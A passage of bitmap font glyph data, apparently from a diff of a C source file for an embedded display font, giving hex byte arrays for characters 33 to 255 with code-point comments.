0x40, 0x01, 0x00, 0x11, 0x80, 0x1D, 0x80, 0x17, // 189 - 0x00, 0x02, 0x44, 0x03, 0x54, 0x01, 0x54, 0x0D, 0xEC, 0x0B, 0x80, 0x1F, 0x00, 0x08, // 190 - 0x00, 0x38, 0x00, 0x4C, 0x00, 0x44, 0x60, 0x43, 0x00, 0x20, // 191 - 0x00, 0x00, 0x00, 0x0C, 0xC1, 0x03, 0x3A, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 192 - 0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x3A, 0x02, 0x39, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 193 - 0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x39, 0x02, 0x39, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 194 - 0x00, 0x00, 0x00, 0x0C, 0xC3, 0x03, 0x39, 0x02, 0x3A, 0x02, 0xC3, 0x03, 0x00, 0x0C, // 195 - 0x00, 0x00, 0x00, 0x0C, 0xC2, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC2, 0x03, 0x00, 0x0C, // 196 - 0x00, 0x00, 0x00, 0x08, 0x00, 0x07, 0xFE, 0x02, 0xE6, 0x02, 0x00, 0x07, 0x00, 0x08, // 197 - 0x00, 0x0C, 0x80, 0x03, 0x78, 0x02, 0x08, 0x02, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, // 198 - 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x28, 0x08, 0x28, 0x08, 0x38, 0x10, 0x04, // 199 - 0x00, 0x00, 0xF8, 0x0F, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 200 - 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x8A, 0x08, 0x89, 0x08, 0x88, 0x08, 0x88, 0x08, // 201 - 0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x89, 0x08, 0x89, 0x08, 0x8A, 0x08, 0x88, 0x08, // 202 - 0x00, 0x00, 0xF8, 0x0F, 0x8A, 0x08, 0x88, 0x08, 0x8A, 0x08, 0x88, 0x08, 0x88, 0x08, // 203 - 0x00, 0x00, 0x08, 0x08, 0x09, 0x08, 0xFA, 0x0F, 0x08, 0x08, 0x08, 0x08, // 204 - 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xFA, 0x0F, 0x09, 0x08, 0x08, 0x08, // 205 - 0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF9, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 206 - 0x00, 0x00, 0x08, 0x08, 0x0A, 0x08, 0xF8, 0x0F, 0x0A, 0x08, 0x08, 0x08, // 207 - 0x80, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 208 - 0x00, 0x00, 0xF8, 0x0F, 0x1B, 0x00, 0xE1, 0x00, 0x82, 0x03, 0x03, 0x0C, 0xF8, 0x0F, // 209 - 0x00, 0x00, 0xE0, 0x03, 0x19, 0x0C, 0x0A, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 210 - 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x0A, 0x08, 0x09, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 211 - 0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x09, 0x08, 0x09, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 212 - 0x00, 0x00, 0xE0, 0x03, 0x1B, 0x0C, 0x09, 0x08, 0x0A, 0x08, 0x1B, 0x0C, 0xE0, 0x03, // 213 - 0x00, 0x00, 0xE0, 0x03, 0x1A, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x1A, 0x0C, 0xE0, 0x03, // 214 - 0x00, 0x00, 0x20, 0x02, 0x40, 0x01, 0x80, 0x00, 0x40, 0x01, 0x20, 0x02, // 215 - 0x00, 0x08, 0xE0, 0x07, 0x18, 0x0E, 0x88, 0x09, 0x48, 0x08, 0x38, 0x0C, 0xF8, 0x03, // 216 - 0x00, 0x00, 0xF8, 0x07, 0x01, 0x08, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 217 - 0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x02, 0x08, 0x01, 0x08, 0x00, 0x08, 0xF8, 0x07, // 218 - 0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x01, 0x08, 0x01, 0x08, 0x02, 0x08, 0xF8, 0x07, // 219 - 0x00, 0x00, 0xF8, 0x07, 0x02, 0x08, 0x00, 0x08, 0x00, 0x08, 0x02, 0x08, 0xF8, 0x07, // 220 - 0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x82, 0x0F, 0x61, 0x00, 0x10, 0x00, 0x08, // 221 - 0x00, 0x00, 0xF8, 0x0F, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0x10, 0x01, 0xE0, // 222 - 0x00, 0x00, 0xF8, 0x0F, 0xE4, 0x00, 0xA4, 0x09, 0x18, 0x09, 0x00, 0x06, // 223 - 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 224 - 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x0F, // 225 - 0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x0F, // 226 - 0x00, 0x00, 0x40, 0x06, 0x2C, 0x09, 0x24, 0x09, 0x28, 0x09, 0xCC, 0x0F, // 227 - 0x00, 0x00, 0x40, 0x06, 0x28, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x0F, // 228 - 0x00, 0x00, 0x40, 0x06, 0x26, 0x09, 0x29, 0x09, 0x29, 0x09, 0xC6, 0x0F, // 229 - 0x00, 0x00, 0x40, 0x0F, 0x20, 0x09, 0xC0, 0x07, 0x20, 0x09, 0xE0, 0x09, // 230 - 0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x28, 0x20, 0x28, 0x40, 0x38, // 231 - 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x24, 0x09, 0x28, 0x09, 0xC0, 0x05, // 232 - 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x28, 0x09, 0x24, 0x09, 0xC0, 0x05, // 233 - 0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x24, 0x09, 0x24, 0x09, 0xC8, 0x05, // 234 - 0x00, 0x00, 0xC0, 0x07, 0x68, 0x09, 0x20, 0x09, 0x28, 0x09, 0xC0, 0x05, // 235 - 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 236 - 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE8, 0x0F, 0x04, 0x08, 0x00, 0x08, // 237 - 0x00, 0x00, 0x28, 0x08, 0x24, 0x08, 0xE4, 0x0F, 0x08, 0x08, 0x00, 0x08, // 238 - 0x00, 0x00, 0x20, 0x08, 0x28, 0x08, 0xE0, 0x0F, 0x08, 0x08, 0x00, 0x08, // 239 - 0x00, 0x00, 0x80, 0x07, 0x54, 0x08, 0x58, 0x08, 0x68, 0x08, 0xC0, 0x07, // 240 - 0x00, 0x00, 0xE0, 0x0F, 0x4C, 0x00, 0x24, 0x00, 0x28, 0x00, 0xCC, 0x0F, // 241 - 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 242 - 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x28, 0x08, 0x24, 0x08, 0xC0, 0x07, // 243 - 0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x24, 0x08, 0x28, 0x08, 0xC0, 0x07, // 244 - 0x00, 0x00, 0xCC, 0x07, 0x24, 0x08, 0x2C, 0x08, 0x28, 0x08, 0xCC, 0x07, // 245 - 0x00, 0x00, 0xC0, 0x07, 0x28, 0x08, 0x20, 0x08, 0x28, 0x08, 0xC0, 0x07, // 246 - 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x40, 0x05, 0x00, 0x01, 0x00, 0x01, // 247 - 0x00, 0x00, 0xC0, 0x0F, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0xE0, 0x07, // 248 - 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 249 - 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x08, 0x08, 0x04, 0x08, 0xE0, 0x0F, // 250 - 0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x04, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 251 - 0x00, 0x00, 0xE0, 0x07, 0x08, 0x08, 0x00, 0x08, 0x08, 0x08, 0xE0, 0x0F, // 252 - 0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x08, 0x1C, 0x84, 0x03, 0x60, // 253 - 0x00, 0x00, 0xFC, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 254 - 0x00, 0x00, 0x60, 0x40, 0x88, 0x67, 0x00, 0x1C, 0x88, 0x03, 0x60 // 255 + // Font Data: + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF8, 0x0D, // 33 + 0x00, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x38, // 34 + 0x00, 0x02, 0x40, 0x0E, 0xE0, 0x03, 0x50, 0x0A, 0xC0, 0x07, 0x70, 0x02, 0x40, // 35 + 0x00, 0x00, 0xE0, 0x04, 0x90, 0x08, 0xF8, 0x3F, 0x10, 0x09, 0x20, 0x07, // 36 + 0x30, 0x00, 0x48, 0x01, 0x48, 0x01, 0xB0, 0x06, 0x80, 0x09, 0x40, 0x09, 0x00, 0x06, // 37 + 0x00, 0x00, 0x00, 0x07, 0xF0, 0x0C, 0xC8, 0x08, 0x08, 0x0B, 0x08, 0x06, 0x00, 0x0B, // 38 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x38, // 39 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xE0, 0x03, 0x1C, 0x1C, 0x04, 0x10, // 40 + 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0x1C, 0x1C, 0xE0, 0x03, // 41 + 0x00, 0x00, 0x90, 0x00, 0x60, 0x00, 0xF8, 0x01, 0x60, 0x00, 0x90, // 42 + 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, 0xE0, 0x0F, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 43 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, // 44 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 45 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0C, // 46 + 0x00, 0x00, 0x00, 0x10, 0x00, 0x0C, 0x00, 0x03, 0xC0, 0x00, 0x30, 0x00, 0x08, // 47 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x88, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 48 + 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, // 49 + 0x00, 0x00, 0x10, 0x08, 0x08, 0x0C, 0x08, 0x0A, 0x08, 0x09, 0x88, 0x08, 0x70, 0x08, // 50 + 0x00, 0x00, 0x10, 0x04, 0x08, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 51 + 0x00, 0x00, 0x00, 0x03, 0xC0, 0x02, 0x60, 0x02, 0x18, 0x02, 0xF8, 0x0F, 0x00, 0x02, // 52 + 0x00, 0x00, 0x78, 0x04, 0x48, 0x08, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x80, 0x07, // 53 + 0x00, 0x00, 0xE0, 0x03, 0x90, 0x0C, 0x48, 0x08, 0x48, 0x08, 0xC8, 0x0C, 0x90, 0x07, // 54 + 0x00, 0x00, 0x08, 0x00, 0x08, 0x08, 0x08, 0x06, 0x88, 0x01, 0x78, 0x00, 0x18, // 55 + 0x00, 0x00, 0x70, 0x07, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 56 + 0x00, 0x00, 0xF0, 0x04, 0x18, 0x09, 0x08, 0x09, 0x08, 0x09, 0x98, 0x04, 0xE0, 0x03, // 57 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC0, 0x0C, // 58 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0xC0, 0x0C, // 59 + 0x00, 0x00, 0x80, 0x01, 0x80, 0x01, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x20, 0x04, // 60 + 0x00, 0x00, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, 0x80, 0x02, // 61 + 0x00, 0x00, 0x20, 0x04, 0x40, 0x02, 0x40, 0x02, 0x40, 0x02, 0x80, 0x01, 0x80, 0x01, // 62 + 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x88, 0x0D, 0xC8, 0x00, 0x48, 0x00, 0x30, // 63 + 0x00, 0x00, 0xC0, 0x0F, 0x20, 0x18, 0x10, 0x23, 0x90, 0x24, 0xB0, 0x24, 0xE0, 0x07, // 64 + 0x00, 0x00, 0x00, 0x0C, 0xC0, 0x03, 0x38, 0x02, 0x38, 0x02, 0xC0, 0x03, 0x00, 0x0C, // 65 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x70, 0x07, // 66 + 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, // 67 + 0x00, 0x00, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, 0x08, 0x08, 0x10, 0x04, 0xE0, 0x03, // 68 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, // 69 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, // 70 + 0x00, 0x00, 0xE0, 0x03, 0x10, 0x04, 0x08, 0x08, 0x08, 0x08, 0x88, 0x08, 0x90, 0x07, // 71 + 0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0xF8, 0x0F, // 72 + 0x00, 0x00, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x0F, 0x08, 0x08, 0x08, 0x08, // 73 + 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, 0x08, 0x08, 0x08, 0x08, 0xF8, 0x07, // 74 + 0x00, 0x00, 0xF8, 0x0F, 0x80, 0x00, 0xC0, 0x00, 0x20, 0x03, 0x10, 0x06, 0x08, 0x08, // 75 + 0x00, 0x00, 0xF8, 0x0F, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 76 + 0x00, 0x00, 0xF8, 0x0F, 0x30, 0x00, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x00, 0xF8, 0x0F, // 77 + 0x00, 0x00, 0xF8, 0x0F, 0x18, 0x00, 0xE0, 0x00, 0x80, 0x03, 0x00, 0x0C, 0xF8, 0x0F, // 78 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x0C, 0xE0, 0x03, // 79 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x70, // 80 + 0x00, 0x00, 0xE0, 0x03, 0x18, 0x0C, 0x08, 0x08, 0x08, 0x08, 0x18, 0x3C, 0xE0, 0x07, // 81 + 0x00, 0x00, 0xF8, 0x0F, 0x88, 0x00, 0x88, 0x00, 0x88, 0x00, 0x88, 0x01, 0x70, 0x06, // 82 + 0x00, 0x00, 0x70, 0x04, 0xC8, 0x08, 0x88, 0x08, 0x88, 0x08, 0x88, 0x08, 0x10, 0x07, // 83 + 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0xF8, 0x0F, 0x08, 0x00, 0x08, 0x00, 0x08, // 84 + 0x00, 0x00, 0xF8, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xF8, 0x07, // 85 + 0x00, 0x00, 0x18, 0x00, 0xE0, 0x01, 0x00, 0x0E, 0x00, 0x0E, 0xE0, 0x01, 0x18, // 86 + 0xF8, 0x01, 0x00, 0x0E, 0xC0, 0x03, 0x30, 0x00, 0xC0, 0x03, 0x00, 0x0E, 0xF8, 0x01, // 87 + 0x00, 0x00, 0x08, 0x08, 0x30, 0x06, 0xC0, 0x01, 0xC0, 0x01, 0x30, 0x06, 0x08, 0x08, // 88 + 0x08, 0x00, 0x10, 0x00, 0x60, 0x00, 0x80, 0x0F, 0x60, 0x00, 0x10, 0x00, 0x08, // 89 + 0x00, 0x00, 0x08, 0x0C, 0x08, 0x0E, 0x88, 0x09, 0xC8, 0x08, 0x38, 0x08, 0x18, 0x08, // 90 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x1F, 0x04, 0x10, // 91 + 0x00, 0x00, 0x08, 0x00, 0x30, 0x00, 0xC0, 0x00, 0x00, 0x03, 0x00, 0x0C, 0x00, 0x10, // 92 + 0x00, 0x00, 0x00, 0x00, 0x04, 0x10, 0xFC, 0x1F, // 93 + 0x20, 0x00, 0x10, 0x00, 0x08, 0x00, 0x08, 0x00, 0x10, 0x00, 0x20, // 94 + 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, 0x00, 0x40, // 95 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x00, 0x08, // 96 + 0x00, 0x00, 0x40, 0x06, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x0F, // 97 + 0x00, 0x00, 0xFC, 0x0F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 98 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x0C, 0x20, 0x08, 0x20, 0x08, 0x40, 0x08, // 99 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xFC, 0x0F, // 100 + 0x00, 0x00, 0xC0, 0x07, 0x60, 0x09, 0x20, 0x09, 0x20, 0x09, 0xC0, 0x05, // 101 + 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x24, 0x00, 0x24, // 102 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x28, 0x20, 0x48, 0x20, 0x48, 0xE0, 0x3F, // 103 + 0x00, 0x00, 0xFC, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 104 + 0x00, 0x00, 0x20, 0x08, 0x20, 0x08, 0xE4, 0x0F, 0x00, 0x08, 0x00, 0x08, // 105 + 0x00, 0x00, 0x00, 0x00, 0x20, 0x40, 0x20, 0x40, 0xE4, 0x3F, // 106 + 0x00, 0x00, 0xFC, 0x0F, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x20, 0x08, // 107 + 0x00, 0x00, 0x04, 0x00, 0x04, 0x00, 0xFC, 0x07, 0x00, 0x08, 0x00, 0x08, // 108 + 0x00, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, 0x20, 0x00, 0xE0, 0x0F, // 109 + 0x00, 0x00, 0xE0, 0x0F, 0x40, 0x00, 0x20, 0x00, 0x20, 0x00, 0xC0, 0x0F, // 110 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 111 + 0x00, 0x00, 0xE0, 0x7F, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xC0, 0x07, // 112 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0x20, 0x08, 0x20, 0x08, 0xE0, 0x7F, // 113 + 0x00, 0x00, 0x00, 0x00, 0xE0, 0x0F, 0x60, 0x00, 0x20, 0x00, 0x20, 0x00, 0x40, // 114 + 0x00, 0x00, 0xC0, 0x04, 0x20, 0x09, 0x20, 0x09, 0x20, 0x09, 0x40, 0x06, // 115 + 0x00, 0x00, 0x20, 0x00, 0x20, 0x00, 0xF8, 0x0F, 0x20, 0x08, 0x20, 0x08, // 116 + 0x00, 0x00, 0xE0, 0x07, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0xE0, 0x0F, // 117 + 0x00, 0x00, 0x60, 0x00, 0x80, 0x03, 0x00, 0x0C, 0x80, 0x03, 0x60, // 118 + 0x60, 0x00, 0x80, 0x03, 0x00, 0x0E, 0x80, 0x01, 0x00, 0x0E, 0x80, 0x03, 0x60, // 119 + 0x00, 0x00, 0x20, 0x08, 0xC0, 0x06, 0x00, 0x01, 0xC0, 0x06, 0x20, 0x08, // 120 + 0x00, 0x00, 0x60, 0x40, 0x80, 0x67, 0x00, 0x1C, 0x80, 0x03, 0x60, // 121 + 0x00, 0x00, 0x20, 0x0C, 0x20, 0x0A, 0x20, 0x09, 0xA0, 0x08, 0x60, 0x08, // 122 + 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x7C, 0x1F, 0x04, 0x10, 0x04, 0x10, // 123 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x3F, // 124 + 0x00, 0x00, 0x04, 0x10, 0x04, 0x10, 0x7C, 0x1F, 0x80, 0x00, 0x80, // 125 + 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 126 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 127 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 128 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 129 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 130 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 131 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 132 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 133 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 134 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 135 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 136 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 137 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 138 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 139 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 140 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 141 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 142 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 143 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 144 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 145 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 146 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 147 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 148 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 149 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 150 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 151 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 152 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 153 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 154 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 155 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 156 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 157 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 158 + 0x00, 0x00, 0xF0, 0x7F, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0x10, 0x40, 0xF0, 0x7F, // 159 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3F, // 161 + 0x00, 0x00, 0xC0, 0x07, 0x20, 0x08, 0xF8, 0x3F, 0x20, 0x08, 0x40, 0x04, // 162 + 0x00, 0x00, 0x80, 0x08, 0xF0, 0x0F, 0x88, 0x08, 0x88, 0x08, 0x08, 0x08, // 163 + 0x00, 0x00, 0x20, 0x04, 0xC0, 0x03, 0x40, 0x02, 0x40, 0x02, 0xC0, 0x03, 0x20, 0x04, // 164 + 0x08, 0x00, 0x50, 0x01, 0x60, 0x01, 0x80, 0x0F, 0x60, 0x01, 0x50, 0x01, 0x08, // 165 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xF0, 0x3C, // 166 + 0x00, 0x00, 0xF0, 0x11, 0x28, 0x13, 0x48, 0x12, 0xC8, 0x14, 0x88, 0x0F, // 167 + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x08, // 168 + 0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0x50, 0x05, 0x50, 0x05, 0x20, 0x02, 0xC0, 0x01, // 169 + 0x00, 0x00, 0xE8, 0x02, 0xA8, 0x02, 0xA8, 0x02, 0xF0, 0x02, // 170 + 0x00, 0x00, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, 0x00, 0x01, 0x80, 0x02, 0x40, 0x04, // 171 + 0x00, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x00, 0x80, 0x03, // 172 + 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x01, // 173 + 0xC0, 0x01, 0x20, 0x02, 0xD0, 0x05, 0xD0, 0x05, 0xD0, 0x05, 0x20, 0x02, 0xC0, 0x01, // 174 + 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, 0x00, 0x08, // 175 + 0x00, 0x00, 0x00, 0x00, 0x30, 0x00, 0x48, 0x00, 0x48, 0x00, 0x30, // 176 + 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, 0xE0, 0x0B, 0x80, 0x08, 0x80, 0x08, 0x80, 0x08, // 177 + 0x00, 0x00, 0x00, 0x00, 0x88, 0x00, 